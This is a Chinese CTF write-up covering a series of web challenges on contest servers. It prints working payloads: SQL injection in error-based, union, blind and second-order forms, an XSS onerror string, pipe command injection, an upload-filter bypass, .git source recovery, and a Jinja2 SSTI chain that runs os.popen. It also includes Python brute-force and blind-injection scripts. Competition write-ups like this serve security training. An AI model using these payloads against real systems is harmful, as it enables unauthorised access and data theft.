讲真,这次的题确实价值不很大,脑洞太多了,而且很多无意义的脑洞,不过个别题还可以,另外第16题和21题没有做出来,希望有做出来的菊苣给点hint
先看源码,然后看到可以链接Index.php
,
跟过去看到flag
A HIDDEN FLAG: FLAG{th!5!5n0tth3fl@g}
先用firefox把submit的disable去掉
然后勾选好抓包,把提交参数修改如下:
[object Object]
同样抓包,把cookie中的Member
参数修改为Admin
的base64的编码
一道简单php代码审计
payload如下:
http://218.76.35.75:20114/?foo={"bar1":"2017f","bar2":[[1,1],1,1,1,1]}&cat[0]=123&cat[1][]=1&dog=%00htctf2016
拿到flag
flag{php_i5_n0t_b4d}
把bob
和sam
的MD5解出来分别是bob317
和sam429
,没有什么规律,写个脚本简单爆破一下slash
后面的数字,
import requests
import hashlib
r=requests.session()
url="http://218.76.35.75:20115/index.php"
for i in xrange(1000):
header={"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"}
param=hashlib.md5("slash"+str(i)).hexdigest()
tmpurl=url+"?page="+param
print tmpurl
result=r.get(tmpurl,headers=header)
content=result.content
if 'flag' in content or 'Flag' in content or 'FLAG' in content:
print content
print i
break
爆破出数字是723,脚本截图
根据提示,是http头的注入,那就把头全都试一遍,发现注入点在referer
参数,然后简单试试,发现可以报错注入,懒得写脚本了,这里也没啥过滤,直接暴库就可以了。
爆出的数据库名为ctf
该数据库里面有flag
和visits
两张表
然后在flag
表里面有id
和flag
两列
最后的payload如下:
2',extractvalue(1,concat(0x3c,(select group_concat(id,"==",flag) from flag))))#
看题目,随便先上传一个图片,提示
随便上传个php又提示说只要jpg文件,ssctf2016的原题一枚
参照乌云漏洞:http://www.wooyun.org/bugs/wooyun-2015-0125982
如下图,把multipart/form-data变换一下大小写,再把第二个Content-Type
改成图片类型image/jpeg
,然后拿到flag
源码里面有一段js,跑出来结果如下
<iframe height=0 width=0 src="./fl0a.php">
那么直接进到fl0a.php
里面,然后在cookie里面发现flag
简单的代码审计,直接给出payload
http://218.76.35.75:20124/index.php?heetian=he=abcd
拿到flag
讲真这个真是蛋疼好吧,根据提示alert document.domain
,
随便试试没怎么过滤,只是会多出现一个img标签,
最开始我是这样的
'><script >alert(document.domain)script>
明明没问题就是不出flag
后来改了下:
123' onerror=alert(document.domain)
然后就得点flag了,无语。。。。
根据提示说flag在/flag
,直接把page参数改成/flag
,然后进入页面看源码
得到flag所在,访问即得到flag
flag:F11elNcLud3Get
和题目5差不多,把cookie里面user改成admin
之后,爆破guess值,最后是573.
代码如下:
import requests
r=requests.session()
url="http://218.76.35.75:20127/index.php"
for i in xrange(1000,0,-1):
header={"Cookie":"user=admin;guess="+str(i)}
print header
result=r.get(url,headers=header)
content=result.content
if 'flag' in content or 'Flag' in content or 'FLAG' in content:
print content
print i
break
结果截图
试了试,基本毫无过滤,直接回显注入,然后脑洞大开,直接猜表明列名都是flag,然后就拿到flag了。。。。。
payload
如下:
http://218.76.35.75:20101/index.php?name=admin' and 1=2 union select 1,2,group_concat(flag) from flag--+
上传一个图片马直接拿到flag
flag:uploadwithinclude
可以输入命令,果断用上|
,开始命令执行,
试了半天发现好像只有ls命令可以用,算了,那就直接访问ls出来的文件把,
直接访问http://218.76.35.75:20105/3f83e03a1e4e65573ef11cca25048808
就拿到flag了
没做,求教
根据提示把Referer
和X-Forward-For
改了,然后在相应头里面找到password,再MD5
解码之后是cafe,然后提交即可
提示了是kindeditor
,然后随便点开一个js,得到kindeditor
版本是4.1.7,那么就是KindEditor 4.1.7的泄漏路径问题,漏洞根源位于/php/file_manager_json.php,
访问之,得到
看到attached
目录下有个flag_clue.php
,访问,得到一串base64的倒置的字符串,反一下再解码得到flag
flag:{uveDoneAgreatJob}
各种看也没什么思路,上工具扫网页把,结果扫除了.git
文件夹,好的,这下所有都有了
把所有东西爬下来,然后管他三七二十一,先恢复了再说
git ls-files -d | xargs -i git checkout {}
恢复后如下:
再逐个看看各个文件,然而还是没有flag,想到切换下分支,发现有三个分支
切换到1.0.0,然后再看看hack.php
,flag出现了!截图如下:
提示是python,源码里面也看到了flask,试了试,果然在data处存在ssti
给一个遍历注册os模块的poc,
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("ls").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
这样执行之后发现目录下有个473bfa63bfeb1e673d6d151a799af923.py
,cat一下拿到flag
不知道,求教,实在不知道怎么过
真是不想吐槽这道题了,纯脑洞的题,真是折腾,直接上payload
shell[pass]=asdfasdf&shell[_SESSION][login]=asd&shell[login]=false
首先fuzz可以很容易得到存在一个admin
账户,通过bool盲注拿到MD5后的密码,代码如下:
import requests
r=requests.session()
url="http://218.76.35.75:20108/"
ans=""
for i in xrange(1,40):
for j in xrange(33,124):
header={"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0","Cookie":"PHPSESSID=83ao17m0u0j98kqobp99vqvkl1"}
data={'username':'admin\' and(if(substring(password,'+str(i)+',1)=\''+chr(j)+'\',1,0)) and \'1\'=\'1',"password":"admin"}
result=r.post(url,data=data,headers=header)
content=result.content
if "密码错误" in content:
ans+=chr(j)
print ans
break
print ans
得到admin
对应的密码
0963617d2e0fbfb63cea9b6ff9d6febb
但是反解不出来,折腾半天之后,于是开始换思路,顺利的发现robots.txt然后顺着拿到了网页源码
根据源码顺利构造poc如下:
username=admin'%a0and%a01=2%a0union%a0select%a0"21232f297a57a5a743894a0e4a801fc3"%a0from%a0admin%a0where%a0'1'='1
&password=admin
脑洞,脑洞!!!,尼玛啊
脑洞进目录http://218.76.35.75:20116/flagishere/
然后这里很简单绕过一下
uname=admin
&passwd=admin'||'1'='1
&submit=Submit
拿到flag
通过备份文件.index.php.swp拿到源代码,贴出主要部分
include 'db.php';
session_start();
if (!isset($_SESSION['login'])){
$_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
$login = $_SESSION['login'];
}
if (isset($_POST['submit'])) {
if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
die('please select ...');
$id = $_POST['id'];
$vote = (int)$_POST['vote'];
if ($vote > 5 || $vote < 1)
$vote = 1;
$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
echo 'Thank you! Results:
';
echo '';
echo 'Logo Total votes Average ';
while ($r = mysql_fetch_array($q)) {
$arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id']));
echo ''.$arr[0].' ';
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
echo ''.$arr[0].' '.round($arr[1],2).' ';
}
echo '
goBack
';
exit;
}
?>
先看过滤,发现并没有机会单次注入,可控的id
和vote
都被卡死了数字类型,但是发现后门有直接$r['id']
,那么id这里就存在二次注入,例如输入1 and 1=2 union select database()
的16进制能成功进入数据库,然后再二次取出的时候直接带入了查询语句,就能成功回显数据库名。这样就能够构造进行二次注入了,但是这里好像有权限设定,访问不了information_schema
库,结果脑洞了下,直接1 and 1=2 union select flag from t_flag
,就拿到flag了,如下: